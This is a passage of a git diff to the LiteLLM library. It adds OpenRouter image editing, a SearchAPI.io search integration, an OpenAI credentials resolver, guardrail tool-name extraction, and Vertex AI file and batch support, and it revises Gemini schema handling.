+ _request_data["litellm_metadata"] = litellm_metadata + streaming = ResponsesWebSocketStreaming( + websocket=websocket, + backend_ws=cast(ClientConnection, backend_ws), + logging_obj=logging_obj, + user_api_key_dict=user_api_key_dict, + request_data=_request_data, + ) + await streaming.bidirectional_forward() + + except websockets.exceptions.InvalidStatusCode as e: # type: ignore + verbose_logger.exception(f"Error connecting to responses WS backend: {e}") + await websocket.close(code=e.status_code, reason=str(e)) + except Exception as e: + verbose_logger.exception(f"Error in responses WS: {e}") + try: + await websocket.close( + code=1011, reason=f"Internal server error: {str(e)}" + ) + except RuntimeError as close_error: + if "already completed" in str(close_error) or "websocket.close" in str( + close_error + ): + pass + else: + raise Exception( + f"Unexpected error while closing WebSocket: {close_error}" + ) + def image_edit_handler( self, model: str, diff --git a/litellm/llms/gemini/common_utils.py b/litellm/llms/gemini/common_utils.py index f99548c2c45..17b9c78123f 100644 --- a/litellm/llms/gemini/common_utils.py +++ b/litellm/llms/gemini/common_utils.py @@ -166,7 +166,8 @@ class GoogleAIStudioTokenCounter(BaseTokenCounter): contents: Optional[List[Dict[str, Any]]], deployment: Optional[Dict[str, Any]] = None, request_model: str = "", - **kwargs, + tools: Optional[List[Dict[str, Any]]] = None, + system: Optional[Any] = None, ) -> Optional[TokenCountResponse]: import copy diff --git a/litellm/llms/openai/chat/guardrail_translation/handler.py b/litellm/llms/openai/chat/guardrail_translation/handler.py index 67e9e42bc30..10b0b58b6ac 100644 --- a/litellm/llms/openai/chat/guardrail_translation/handler.py +++ b/litellm/llms/openai/chat/guardrail_translation/handler.py @@ -135,6 +135,19 @@ class OpenAIChatCompletionsHandler(BaseTranslation): return data + def extract_request_tool_names(self, data: dict) -> List[str]: + """Extract tool names from OpenAI chat completions request (tools[].function.name, functions[].name).""" + names: List[str] = [] + for tool in data.get("tools") or []: + if isinstance(tool, dict) and tool.get("type") == "function": + fn = tool.get("function") + if isinstance(fn, dict) and fn.get("name"): + names.append(str(fn["name"])) + for fn in data.get("functions") or []: + if isinstance(fn, dict) and fn.get("name"): + names.append(str(fn["name"])) + return names + def _extract_inputs( self, message: Dict[str, Any], diff --git a/litellm/llms/openai/common_utils.py b/litellm/llms/openai/common_utils.py index 61f150f1c2e..b6b302782e8 100644 --- a/litellm/llms/openai/common_utils.py +++ b/litellm/llms/openai/common_utils.py @@ -5,8 +5,9 @@ Common helpers / utils across al OpenAI endpoints import hashlib import inspect import json +import os import ssl -from typing import TYPE_CHECKING, Any, Dict, List, Literal, Optional, Tuple, Union +from typing import TYPE_CHECKING, Any, Dict, List, Literal, NamedTuple, Optional, Tuple, Union import httpx import openai @@ -244,3 +245,39 @@ class BaseOpenAILLM: ) +class OpenAICredentials(NamedTuple): + api_base: str + api_key: Optional[str] + organization: Optional[str] + + +def get_openai_credentials( + api_base: Optional[str] = None, + api_key: Optional[str] = None, + organization: Optional[str] = None, +) -> OpenAICredentials: + """Resolve OpenAI credentials from params, litellm globals, and env vars.""" + resolved_api_base = ( + api_base + or litellm.api_base + or os.getenv("OPENAI_BASE_URL") + or os.getenv("OPENAI_API_BASE") + or "https://api.openai.com/v1" + ) + resolved_organization = ( + organization + or litellm.organization + or os.getenv("OPENAI_ORGANIZATION", None) + or None + ) + resolved_api_key = ( + api_key + or litellm.api_key + or litellm.openai_key + or os.getenv("OPENAI_API_KEY") + ) + return OpenAICredentials( + api_base=resolved_api_base, + api_key=resolved_api_key, + organization=resolved_organization, + ) diff --git a/litellm/llms/openai/responses/guardrail_translation/handler.py b/litellm/llms/openai/responses/guardrail_translation/handler.py index 6b092911d3c..7c3354cf88e 100644 --- a/litellm/llms/openai/responses/guardrail_translation/handler.py +++ b/litellm/llms/openai/responses/guardrail_translation/handler.py @@ -30,27 +30,22 @@ Output: response.output is List[GenericResponseOutputItem] where each has: from typing import TYPE_CHECKING, Any, Dict, List, Optional, Tuple, Union, cast -from openai.types.responses.response_function_tool_call import ResponseFunctionToolCall +from openai.types.responses.response_function_tool_call import \ + ResponseFunctionToolCall from pydantic import BaseModel from litellm._logging import verbose_proxy_logger from litellm.completion_extras.litellm_responses_transformation.transformation import ( LiteLLMResponsesTransformationHandler, - OpenAiResponsesToChatCompletionStreamIterator, -) -from litellm.llms.base_llm.guardrail_translation.base_translation import BaseTranslation -from litellm.responses.litellm_completion_transformation.transformation import ( - LiteLLMCompletionResponsesConfig, -) -from litellm.types.llms.openai import ( - ChatCompletionToolCallChunk, - ChatCompletionToolParam, -) -from litellm.types.responses.main import ( - GenericResponseOutputItem, - OutputFunctionToolCall, - OutputText, -) + OpenAiResponsesToChatCompletionStreamIterator) +from litellm.llms.base_llm.guardrail_translation.base_translation import \ + BaseTranslation +from litellm.responses.litellm_completion_transformation.transformation import \ + LiteLLMCompletionResponsesConfig +from litellm.types.llms.openai import (ChatCompletionToolCallChunk, + ChatCompletionToolParam) +from litellm.types.responses.main import (GenericResponseOutputItem, + OutputFunctionToolCall, OutputText) from litellm.types.utils import GenericGuardrailAPIInputs if TYPE_CHECKING: @@ -188,6 +183,18 @@ class OpenAIResponsesHandler(BaseTranslation): return data + def extract_request_tool_names(self, data: dict) -> List[str]: + """Extract tool names from Responses API request (tools[].name for function, tools[].server_label for mcp).""" + names: List[str] = [] + for tool in data.get("tools") or []: + if not isinstance(tool, dict): + continue + if tool.get("type") == "function" and tool.get("name"): + names.append(str(tool["name"])) + elif tool.get("type") == "mcp" and tool.get("server_label"): + names.append(str(tool["server_label"])) + return names + def _extract_and_transform_tools( self, tools: List[Dict[str, Any]], diff --git a/litellm/llms/openrouter/image_edit/__init__.py b/litellm/llms/openrouter/image_edit/__init__.py new file mode 100644 index 00000000000..6edd133f272 --- /dev/null +++ b/litellm/llms/openrouter/image_edit/__init__.py @@ -0,0 +1,11 @@ +from litellm.llms.base_llm.image_edit.transformation import BaseImageEditConfig + +from .transformation import OpenRouterImageEditConfig + +__all__ = [ + "OpenRouterImageEditConfig", +] + + +def get_openrouter_image_edit_config(model: str) -> BaseImageEditConfig: + return OpenRouterImageEditConfig() diff --git a/litellm/llms/openrouter/image_edit/transformation.py b/litellm/llms/openrouter/image_edit/transformation.py new file mode 100644 index 00000000000..ed5e6ae67d5 --- /dev/null +++ b/litellm/llms/openrouter/image_edit/transformation.py @@ -0,0 +1,367 @@ +""" +OpenRouter Image Edit Support + +OpenRouter provides image editing through chat completion endpoints. +The source image is sent as a base64 data URL in the message content, +and the response contains edited images in the message's images array. + +Request format: +{ + "model": "google/gemini-2.5-flash-image", + "messages": [{ + "role": "user", + "content": [ + {"type": "image_url", "image_url": {"url": "data:image/png;base64,..."}}, + {"type": "text", "text": "Edit this image by..."} + ] + }], + "modalities": ["image", "text"] +} + +Response format: +{ + "choices": [{ + "message": { + "content": "Here is the edited image.", + "role": "assistant", + "images": [{ + "image_url": {"url": "data:image/png;base64,..."}, + "type": "image_url" + }] + } + }], + "usage": { + "completion_tokens": 1299, + "prompt_tokens": 300, + "total_tokens": 1599, + "completion_tokens_details": {"image_tokens": 1290}, + "cost": 0.0387243 + } +} +""" + +import base64 +from io import BufferedReader, BytesIO +from typing import TYPE_CHECKING, Any, Dict, List, Optional, Tuple, Union, cast + +import httpx +from httpx._types import RequestFiles + +import litellm +from litellm.images.utils import ImageEditRequestUtils +from litellm.llms.base_llm.chat.transformation import BaseLLMException +from litellm.llms.base_llm.image_edit.transformation import BaseImageEditConfig +from litellm.llms.openrouter.common_utils import OpenRouterException +from litellm.secret_managers.main import get_secret_str +from litellm.types.images.main import ImageEditOptionalRequestParams +from litellm.types.router import GenericLiteLLMParams +from litellm.types.utils import FileTypes, ImageObject, ImageResponse, ImageUsage, ImageUsageInputTokensDetails + +if TYPE_CHECKING: + from litellm.litellm_core_utils.litellm_logging import Logging as _LiteLLMLoggingObj + + LiteLLMLoggingObj = _LiteLLMLoggingObj +else: + LiteLLMLoggingObj = Any + + +class OpenRouterImageEditConfig(BaseImageEditConfig): + """ + Configuration for OpenRouter image editing via chat completions. + + OpenRouter uses the chat completions endpoint for image editing. + The source image is sent as a base64 data URL in the message content, + and the response contains edited images in the message's images array. + """ + + def get_supported_openai_params(self, model: str) -> list: + return ["size", "quality", "n"] + + def map_openai_params( + self, + image_edit_optional_params: ImageEditOptionalRequestParams, + model: str, + drop_params: bool, + ) -> Dict: + supported_params = self.get_supported_openai_params(model) + mapped_params: Dict[str, Any] = {} + + for key, value in image_edit_optional_params.items(): + if key in supported_params: + if key == "size": + if "image_config" not in mapped_params: + mapped_params["image_config"] = {} + mapped_params["image_config"]["aspect_ratio"] = self._map_size_to_aspect_ratio(value) + elif key == "quality": + image_size = self._map_quality_to_image_size(value) + if image_size: + if "image_config" not in mapped_params: + mapped_params["image_config"] = {} + mapped_params["image_config"]["image_size"] = image_size + else: + mapped_params[key] = value + + return mapped_params + + def validate_environment( + self, + headers: dict, + model: str, + api_key: Optional[str] = None, + ) -> dict: + api_key = ( + api_key + or litellm.api_key + or get_secret_str("OPENROUTER_API_KEY") + ) + if not api_key: + raise ValueError("OPENROUTER_API_KEY is not set") + headers.update( + { + "Authorization": f"Bearer {api_key}", + } + ) + return headers + + def use_multipart_form_data(self) -> bool: + """OpenRouter uses JSON requests, not multipart/form-data.""" + return False + + def get_complete_url( + self, + model: str, + api_base: Optional[str], + litellm_params: dict, + ) -> str: + base_url = api_base or get_secret_str("OPENROUTER_API_BASE") or "https://openrouter.ai/api/v1" + base_url = base_url.rstrip("/") + if not base_url.endswith("/chat/completions"): + return f"{base_url}/chat/completions" + return base_url + + def transform_image_edit_request( + self, + model: str, + prompt: Optional[str], + image: Optional[FileTypes], + image_edit_optional_request_params: Dict, + litellm_params: GenericLiteLLMParams, + headers: dict, + ) -> Tuple[Dict, RequestFiles]: + content_parts: List[Dict[str, Any]] = [] + + # Add source image(s) as base64 data URLs + if image is not None: + images = image if isinstance(image, list) else [image] + for img in images: + if img is None: + continue + mime_type = ImageEditRequestUtils.get_image_content_type(img) + image_bytes = self._read_image_bytes(img) + b64_data = base64.b64encode(image_bytes).decode("utf-8") + content_parts.append( + { + "type": "image_url", + "image_url": { + "url": f"data:{mime_type};base64,{b64_data}" + }, + } + ) + + # Add the text prompt + if prompt: + content_parts.append({"type": "text", "text": prompt}) + + request_body: Dict[str, Any] = { + "model": model, + "messages": [ + { + "role": "user", + "content": content_parts, + } + ], + "modalities": ["image", "text"], + } + + # Add mapped optional params (image_config, n, etc.) + for key, value in image_edit_optional_request_params.items(): + if key not in ("model", "messages", "modalities"): + request_body[key] = value + + empty_files = cast(RequestFiles, []) + return request_body, empty_files + + def transform_image_edit_response( + self, + model: str, + raw_response: httpx.Response, + logging_obj: LiteLLMLoggingObj, + ) -> ImageResponse: + try: + response_json = raw_response.json() + except Exception as e: + raise OpenRouterException( + message=f"Error parsing OpenRouter response: {str(e)}", + status_code=raw_response.status_code, + headers=raw_response.headers, + ) + + model_response = ImageResponse() + model_response.data = [] + + try: + choices = response_json.get("choices", []) + + for choice in choices: + message = choice.get("message", {}) + images = message.get("images", []) + + for image_data in images: + image_url_obj = image_data.get("image_url", {}) + image_url = image_url_obj.get("url") + + if image_url: + if image_url.startswith("data:"): + # Extract base64 data from data URL + parts = image_url.split(",", 1) + b64_data = parts[1] if len(parts) > 1 else None + + model_response.data.append( + ImageObject( + b64_json=b64_data, + url=None, + revised_prompt=None, + ) + ) + else: + model_response.data.append( + ImageObject( + b64_json=None, + url=image_url, + revised_prompt=None, + ) + ) + + except Exception as e: + raise OpenRouterException( + message=f"Error transforming OpenRouter image edit response: {str(e)}", + status_code=500, + headers={}, + ) + + self._set_usage_and_cost(model_response, response_json, model) + return model_response + + def get_error_class( + self, error_message: str, status_code: int, headers: Union[dict, httpx.Headers] + ) -> BaseLLMException: + return OpenRouterException( + message=error_message, + status_code=status_code, + headers=headers, + ) + + # Private helper methods + + def _map_size_to_aspect_ratio(self, size: str) -> str: + """ + Map OpenAI size format to OpenRouter aspect_ratio format. + + Uses the same mapping as image generation since OpenRouter + handles both through the same chat completions endpoint. + """ + size_to_aspect_ratio = { + "256x256": "1:1", + "512x512": "1:1", + "1024x1024": "1:1", + "1536x1024": "3:2", + "1792x1024": "16:9", + "1024x1536": "2:3", + "1024x1792": "9:16", + "auto": "1:1", + } + return size_to_aspect_ratio.get(size, "1:1") + + def _map_quality_to_image_size(self, quality: str) -> Optional[str]: + """ + Map OpenAI quality to OpenRouter image_size format. + + Uses the same mapping as image generation since OpenRouter + handles both through the same chat completions endpoint. + """ + quality_to_image_size = { + "low": "1K", + "standard": "1K", + "medium": "2K", + "high": "4K", + "hd": "4K", + "auto": "1K", + } + return quality_to_image_size.get(quality) + + def _set_usage_and_cost( + self, + model_response: ImageResponse, + response_json: dict, + model: str, + ) -> None: + """Extract and set usage and cost information from OpenRouter response.""" + usage_data = response_json.get("usage", {}) + if usage_data: + prompt_tokens = usage_data.get("prompt_tokens", 0) + total_tokens = usage_data.get("total_tokens", 0) + + completion_tokens_details = usage_data.get("completion_tokens_details", {}) + image_tokens = completion_tokens_details.get("image_tokens", 0) + + # For image edit, input may include image tokens + input_image_tokens = 0 + prompt_tokens_details = usage_data.get("prompt_tokens_details", {}) + if prompt_tokens_details: + input_image_tokens = prompt_tokens_details.get("image_tokens", 0) + + model_response.usage = ImageUsage( + input_tokens=prompt_tokens, + input_tokens_details=ImageUsageInputTokensDetails( + image_tokens=input_image_tokens, + text_tokens=prompt_tokens - input_image_tokens, + ), + output_tokens=image_tokens, + total_tokens=total_tokens, + ) + + cost = usage_data.get("cost") + if cost is not None: + if not hasattr(model_response, "_hidden_params"): + model_response._hidden_params = {} + if "additional_headers" not in model_response._hidden_params: + model_response._hidden_params["additional_headers"] = {} + model_response._hidden_params["additional_headers"][ + "llm_provider-x-litellm-response-cost" + ] = float(cost) + + cost_details = usage_data.get("cost_details", {}) + if cost_details: + if "response_cost_details" not in model_response._hidden_params: + model_response._hidden_params["response_cost_details"] = {} + model_response._hidden_params["response_cost_details"].update(cost_details) + + model_response._hidden_params["model"] = response_json.get("model", model) + + def _read_image_bytes(self, image: FileTypes) -> bytes: + """Read raw bytes from various image input types.""" + if isinstance(image, bytes): + return image + if isinstance(image, BytesIO): + current_pos = image.tell() + image.seek(0) + data = image.read() + image.seek(current_pos) + return data + if isinstance(image, BufferedReader): + current_pos = image.tell() + image.seek(0) + data = image.read() + image.seek(current_pos) + return data + raise ValueError("Unsupported image type for OpenRouter image edit.") diff --git a/litellm/llms/searchapi/__init__.py b/litellm/llms/searchapi/__init__.py new file mode 100644 index 00000000000..ec2959d9ff0 --- /dev/null +++ b/litellm/llms/searchapi/__init__.py @@ -0,0 +1 @@ +"""SearchAPI.io integration for LiteLLM.""" diff --git a/litellm/llms/searchapi/search/__init__.py b/litellm/llms/searchapi/search/__init__.py new file mode 100644 index 00000000000..783238c9f73 --- /dev/null +++ b/litellm/llms/searchapi/search/__init__.py @@ -0,0 +1,4 @@ +"""SearchAPI.io search integration for LiteLLM.""" +from litellm.llms.searchapi.search.transformation import SearchAPIConfig + +__all__ = ["SearchAPIConfig"] diff --git a/litellm/llms/searchapi/search/transformation.py b/litellm/llms/searchapi/search/transformation.py new file mode 100644 index 00000000000..30571b468f6 --- /dev/null +++ b/litellm/llms/searchapi/search/transformation.py @@ -0,0 +1,232 @@ +""" +Calls SearchAPI.io's Google Search API endpoint. + +SearchAPI.io API Reference: https://www.searchapi.io/docs/google +""" +from typing import Dict, List, Literal, Optional, TypedDict, Union +from urllib.parse import urlencode + +import httpx + +from litellm.litellm_core_utils.litellm_logging import Logging as LiteLLMLoggingObj +from litellm.llms.base_llm.search.transformation import ( + BaseSearchConfig, + SearchResponse, + SearchResult, +) +from litellm.secret_managers.main import get_secret_str + + +class _SearchAPIRequestRequired(TypedDict): + """Required fields for SearchAPI.io request.""" + engine: str # Required - search engine (e.g., 'google') + q: str # Required - search query + + +class SearchAPIRequest(_SearchAPIRequestRequired, total=False): + """ + SearchAPI.io request format for Google Search. + Based on: https://www.searchapi.io/docs/google + """ + kgmid: str # Optional - Knowledge Graph identifier + device: str # Optional - device type ('desktop', 'mobile', 'tablet') + location: str # Optional - geographic location + uule: str # Optional - Google-encoded location + google_domain: str # Optional - Google domain (deprecated) + gl: str # Optional - country code (e.g., 'us', 'uk') + hl: str # Optional - interface language (e.g., 'en', 'es') + lr: str # Optional - language restriction (e.g., 'lang_en') + cr: str # Optional - country restriction + nfpr: int # Optional - exclude auto-corrected results (0 or 1) + filter: int # Optional - duplicate/host crowding filter (0 or 1) + safe: str # Optional - SafeSearch ('active', 'off') + time_period: str # Optional - time period ('last_hour', 'last_day', 'last_week', 'last_month', 'last_year') + time_period_min: str # Optional - start date (MM/DD/YYYY) + time_period_max: str # Optional - end date (MM/DD/YYYY) + num: int # Optional - number of results (phased out by Google, constant 10) + page: int # Optional - page number for pagination + optimization_strategy: str # Optional - 'performance' or 'ads' + + +class SearchAPIConfig(BaseSearchConfig): + SEARCHAPI_API_BASE = "https://www.searchapi.io/api/v1/search" + + @staticmethod + def ui_friendly_name() -> str: + return "SearchAPI.io (Google Search)" + + def get_http_method(self) -> Literal["GET", "POST"]: + """ + SearchAPI.io uses GET requests for search. + """ + return "GET" + + def validate_environment( + self, + headers: Dict, + api_key: Optional[str] = None, + api_base: Optional[str] = None, + **kwargs, + ) -> Dict: + """ + Validate environment and return headers. + """ + api_key = api_key or get_secret_str("SEARCHAPI_API_KEY") + + if not api_key: + raise ValueError( + "SEARCHAPI_API_KEY is not set. Set `SEARCHAPI_API_KEY` environment variable." + ) + + headers["Content-Type"] = "application/json" + + return headers + + def get_complete_url( + self, + api_base: Optional[str], + optional_params: dict, + data: Optional[Union[Dict, List[Dict]]] = None, + **kwargs, + ) -> str: + """ + Get complete URL for Search endpoint with query parameters. + + SearchAPI.io uses GET requests and includes api_key in query params. + """ + api_base = api_base or get_secret_str("SEARCHAPI_API_BASE") or self.SEARCHAPI_API_BASE + + # Build query parameters from the transformed request body + if data and isinstance(data, dict) and "_searchapi_params" in data: + params = data["_searchapi_params"] + query_string = urlencode(params, doseq=True) + return f"{api_base}?{query_string}" + + return api_base + + def transform_search_request( + self, + query: Union[str, List[str]], + optional_params: dict, + api_key: Optional[str] = None, + search_engine_id: Optional[str] = None, + **kwargs, + ) -> Dict: + """ + Transform Search request to SearchAPI.io format. + + Transforms unified spec parameters: + - query → q + - max_results → num (limited to 10 by Google) + - search_domain_filter → q (append site: filters) + - country → gl + + Args: + query: Search query (string or list of strings) + optional_params: Optional parameters for the request + api_key: API key for authentication + + Returns: + Dict with typed request data following SearchAPI.io spec + """ + if isinstance(query, list): + query = " ".join(query) + + # Get API key from parameter or environment + api_key = api_key or get_secret_str("SEARCHAPI_API_KEY") + if not api_key: + raise ValueError( + "SEARCHAPI_API_KEY is not set. Set `SEARCHAPI_API_KEY` environment variable." + ) + + request_data: SearchAPIRequest = { + "engine": "google", + "q": query, + } + + # Add API key to request + result_data = dict(request_data) + result_data["api_key"] = api_key + + # Transform unified spec parameters to SearchAPI.io format + if "max_results" in optional_params: + # Google now returns constant 10 results, but we can still set num + num_results = min(optional_params["max_results"], 10) + result_data["num"] = num_results + + if "search_domain_filter" in optional_params: + # Convert to multiple "site:domain" clauses + domains = optional_params["search_domain_filter"] + if isinstance(domains, list) and len(domains) > 0: + result_data["q"] = self._append_domain_filters( + result_data["q"], domains + ) + + if "country" in optional_params: + # Map to gl parameter + result_data["gl"] = optional_params["country"].lower() + + # Pass through all other SearchAPI.io-specific parameters + for param, value in optional_params.items(): + if ( + param not in self.get_supported_perplexity_optional_params() + and param not in result_data + ): + result_data[param] = value + + # Store params in special key for URL building (GET request) + return { + "_searchapi_params": result_data, + } + + @staticmethod + def _append_domain_filters(query: str, domains: List[str]) -> str: + """ + Add site: filters to restrict search to specific domains. + """ + domain_clauses = [f"site:{domain}" for domain in domains] + domain_query = " OR ".join(domain_clauses) + + return f"({query}) AND ({domain_query})" + + def transform_search_response( + self, + raw_response: httpx.Response, + logging_obj: Optional[LiteLLMLoggingObj], + **kwargs, + ) -> SearchResponse: + """ + Transform SearchAPI.io response to LiteLLM unified SearchResponse format. + + SearchAPI.io → LiteLLM mappings: + - organic_results[].title → SearchResult.title + - organic_results[].link → SearchResult.url + - organic_results[].snippet → SearchResult.snippet + - organic_results[].date → SearchResult.date + """ + response_json = raw_response.json() + + # Transform results to SearchResult objects + results: List[SearchResult] = [] + + # Process organic results + for result in response_json.get("organic_results", []): + title = result.get("title", "") + url = result.get("link", "") + snippet = result.get("snippet", "") + date = result.get("date") # SearchAPI.io provides date in some results + + search_result = SearchResult( + title=title, + url=url, + snippet=snippet, + date=date, + last_updated=None, # SearchAPI.io doesn't provide last_updated + ) + + results.append(search_result) + + return SearchResponse( + results=results, + object="search", + ) diff --git a/litellm/llms/vertex_ai/batches/handler.py b/litellm/llms/vertex_ai/batches/handler.py index 36f5e65e7a2..5f1fefca963 100644 --- a/litellm/llms/vertex_ai/batches/handler.py +++ b/litellm/llms/vertex_ai/batches/handler.py @@ -108,11 +108,19 @@ class VertexAIBatchPrediction(VertexLLM): client = get_async_httpx_client( llm_provider=litellm.LlmProviders.VERTEX_AI, ) - response = await client.post( - url=api_base, - headers=headers, - data=json.dumps(vertex_batch_request), - ) + try: + response = await client.post( + url=api_base, + headers=headers, + data=json.dumps(vertex_batch_request), + ) + except httpx.HTTPStatusError as e: + error_body = e.response.text + litellm.verbose_logger.error( + "Vertex AI batch create failed: status=%s, body=%s", + e.response.status_code, error_body[:1000], + ) + raise if response.status_code != 200: raise Exception(f"Error: {response.status_code} {response.text}") diff --git a/litellm/llms/vertex_ai/batches/transformation.py b/litellm/llms/vertex_ai/batches/transformation.py index a0adb3e55a8..7cb06fea9e2 100644 --- a/litellm/llms/vertex_ai/batches/transformation.py +++ b/litellm/llms/vertex_ai/batches/transformation.py @@ -29,7 +29,7 @@ class VertexAIBatchTransformation: if input_file_id is None: raise ValueError("input_file_id is required, but not provided") input_config: InputConfig = InputConfig( - gcsSource=GcsSource(uris=input_file_id), instancesFormat="jsonl" + gcsSource=GcsSource(uris=[input_file_id]), instancesFormat="jsonl" ) model: str = cls._get_model_from_gcs_file(input_file_id) output_config: OutputConfig = OutputConfig( diff --git a/litellm/llms/vertex_ai/common_utils.py b/litellm/llms/vertex_ai/common_utils.py index 791878c9700..fbe6ab35edf 100644 --- a/litellm/llms/vertex_ai/common_utils.py +++ b/litellm/llms/vertex_ai/common_utils.py @@ -571,14 +571,38 @@ def _filter_anyof_fields(schema_dict: Dict[str, Any]) -> Dict[str, Any]: return schema_dict +def _is_any_type_schema(schema: dict) -> bool: + """ + Detect schemas that represent "any JSON value" (no type constraints). + + In JSON Schema, an empty schema {} means "any value is valid". + Schemas with only metadata keys (title, description, default, examples) + but no type-constraining keywords also represent "any type". + + Gemini's Schema proto uses TYPE_UNSPECIFIED (0) as default, + so omitting the type field is valid and means "any type". + """ + type_constraining_keys = { + "type", + "properties", + "items", + "anyOf", + "oneOf", + "allOf", + "enum", + "required", + "$ref", + "$schema", + } + return not any(key in type_constraining_keys for key in schema.keys()) + + def process_items(schema, depth=0): if depth > DEFAULT_MAX_RECURSE_DEPTH: raise ValueError( f"Max depth of {DEFAULT_MAX_RECURSE_DEPTH} exceeded while processing schema. Please check the schema for excessive nesting." ) if isinstance(schema, dict): - if "items" in schema and schema["items"] == {}: - schema["items"] = {"type": "object"} for key, value in schema.items(): if isinstance(value, dict): process_items(value, depth + 1) @@ -677,9 +701,8 @@ def convert_anyof_null_to_nullable(schema, depth=0): # remove null type anyof.remove(atype) contains_null = True - elif "type" not in atype and len(atype) == 0: - # Handle empty object case - atype["type"] = "object" + elif isinstance(atype, dict) and _is_any_type_schema(atype): + pass # preserve "any type" semantics — don't coerce to object if len(anyof) == 0: # Edge case: response schema with only null type present is invalid in Vertex AI @@ -714,7 +737,8 @@ def add_object_type(schema): # Gemini requires all function parameters to be type OBJECT # Handle case where schema has no properties and no type (e.g. tools with no arguments) if "type" not in schema and "anyOf" not in schema and "oneOf" not in schema and "allOf" not in schema: - schema["type"] = "object" + if not _is_any_type_schema(schema): + schema["type"] = "object" properties = schema.get("properties", None) if properties is not None: @@ -1030,7 +1054,8 @@ class VertexAITokenCounter(BaseTokenCounter): contents: Optional[List[Dict[str, Any]]], deployment: Optional[Dict[str, Any]] = None, request_model: str = "", - **kwargs, + tools: Optional[List[Dict[str, Any]]] = None, + system: Optional[Any] = None, ) -> Optional[TokenCountResponse]: import copy diff --git a/litellm/llms/vertex_ai/files/transformation.py b/litellm/llms/vertex_ai/files/transformation.py index 2470c59bbac..bf3ed5e6ac9 100644 --- a/litellm/llms/vertex_ai/files/transformation.py +++ b/litellm/llms/vertex_ai/files/transformation.py @@ -335,13 +335,37 @@ class VertexAIFilesConfig(VertexBase, BaseFilesConfig): status_code=status_code, message=error_message, headers=headers ) + def _parse_gcs_uri(self, file_id: str) -> Tuple[str, str]: + """ + Parse a GCS URI (gs://bucket/path/to/object) into (bucket, url-encoded-object-path). + Handles both raw and URL-encoded input. + """ + import urllib.parse + + decoded = urllib.parse.unquote(file_id) + if decoded.startswith("gs://"): + full_path = decoded[5:] + else: + full_path = decoded + + if "/" in full_path: + bucket_name, object_path = full_path.split("/", 1) + else: + bucket_name = full_path + object_path = "" + + encoded_object = urllib.parse.quote(object_path, safe="") + return bucket_name, encoded_object + def transform_retrieve_file_request( self, file_id: str, optional_params: dict, litellm_params: dict, ) -> tuple[str, dict]: - raise NotImplementedError("VertexAIFilesConfig does not support file retrieval") + bucket, encoded_object = self._parse_gcs_uri(file_id) + url = f"https://storage.googleapis.com/storage/v1/b/{bucket}/o/{encoded_object}" + return url, {} def transform_retrieve_file_response( self, @@ -349,7 +373,21 @@ class VertexAIFilesConfig(VertexBase, BaseFilesConfig): logging_obj: LiteLLMLoggingObj, litellm_params: dict, ) -> OpenAIFileObject: - raise NotImplementedError("VertexAIFilesConfig does not support file retrieval") + response_json = raw_response.json() + gcs_id = response_json.get("id", "") + gcs_id = "/".join(gcs_id.split("/")[:-1]) if gcs_id else "" + return OpenAIFileObject( + id=f"gs://{gcs_id}", + bytes=int(response_json.get("size", 0)), + created_at=_convert_vertex_datetime_to_openai_datetime( + vertex_datetime=response_json.get("timeCreated", "") + ), + filename=response_json.get("name", ""), + object="file", + purpose=response_json.get("metadata", {}).get("purpose", "batch"), + status="processed", + status_details=None, + ) def transform_delete_file_request( self, @@ -357,7 +395,9 @@ class VertexAIFilesConfig(VertexBase, BaseFilesConfig): optional_params: dict, litellm_params: dict, ) -> tuple[str, dict]: - raise NotImplementedError("VertexAIFilesConfig does not support file deletion") + bucket, encoded_object = self._parse_gcs_uri(file_id) + url = f"https://storage.googleapis.com/storage/v1/b/{bucket}/o/{encoded_object}" + return url, {} def transform_delete_file_response( self, @@ -365,7 +405,15 @@ class VertexAIFilesConfig(VertexBase, BaseFilesConfig): logging_obj: LiteLLMLoggingObj, litellm_params: dict, ) -> FileDeleted: - raise NotImplementedError("VertexAIFilesConfig does not support file deletion") + file_id = "deleted" + if hasattr(raw_response, "request") and raw_response.request: + url = str(raw_response.request.url) + if "/b/" in url and "/o/" in url: + import urllib.parse + bucket_part = url.split("/b/")[-1].split("/o/")[0] + encoded_name = url.split("/o/")[-1].split("?")[0] + file_id = f"gs://{bucket_part}/{urllib.parse.unquote(encoded_name)}" + return FileDeleted(id=file_id, deleted=True, object="file") def transform_list_files_request( self, @@ -389,7 +437,10 @@ class VertexAIFilesConfig(VertexBase, BaseFilesConfig): optional_params: dict, litellm_params: dict, ) -> tuple[str, dict]: - raise NotImplementedError("VertexAIFilesConfig does not support file content retrieval") + file_id = file_content_request.get("file_id", "") + bucket, encoded_object = self._parse_gcs_uri(file_id) + url = f"https://storage.googleapis.com/storage/v1/b/{bucket}/o/{encoded_object}?alt=media" + return url, {} def transform_file_content_response( self, @@ -397,7 +448,7 @@ class VertexAIFilesConfig(VertexBase, BaseFilesConfig): logging_obj: LiteLLMLoggingObj, litellm_params: dict, ) -> HttpxBinaryResponseContent: - raise NotImplementedError("VertexAIFilesConfig does not support file content retrieval") + return HttpxBinaryResponseContent(response=raw_response) class VertexAIJsonlFilesTransformation(VertexGeminiConfig): diff --git a/litellm/llms/vertex_ai/gemini/vertex_and_google_ai_studio_gemini.py b/litellm/llms/vertex_ai/gemini/vertex_and_google_ai_studio_gemini.py index dee826e5783..eb2d5ad51cb 100644 --- a/litellm/llms/vertex_ai/gemini/vertex_and_google_ai_studio_gemini.py +++ b/litellm/llms/vertex_ai/gemini/vertex_and_google_ai_studio_gemini.py @@ -1136,23 +1136,6 @@ class VertexGeminiConfig(VertexAIBaseConfig, BaseConfig): if VertexGeminiConfig._is_gemini_3_or_newer(model): if "temperature" not in optional_params: optional_params["temperature"] = 1.0 - # Only add thinkingLevel if model supports it (exclude image models) - if "image" not in model.lower(): - thinking_config = optional_params.get("thinkingConfig", {}) - if ( - "thinkingLevel" not in thinking_config - and "thinkingBudget" not in thinking_config - ): - # For gemini-3-flash-preview, default to "minimal" to match Gemini 2.5 Flash behavior - # For other Gemini 3 models, default to "low" - is_gemini3flash = ( - "gemini-3-flash-preview" in model.lower() - or "gemini-3-flash" in model.lower() - ) - thinking_config["thinkingLevel"] = ( - "minimal" if is_gemini3flash else "low" - ) - optional_params["thinkingConfig"] = thinking_config return optional_params @@ -2922,6 +2905,7 @@ class ModelResponseIterator: self.logging_obj = logging_obj self.is_function_call = check_is_function_call(logging_obj) self.cumulative_tool_call_index: int = 0 + self.has_seen_tool_calls: bool = False def chunk_parser(self, chunk: dict) -> Optional["ModelResponseStream"]: try: @@ -2960,6 +2944,40 @@ class ModelResponseIterator: cumulative_tool_call_index=self.cumulative_tool_call_index, ) + # Track 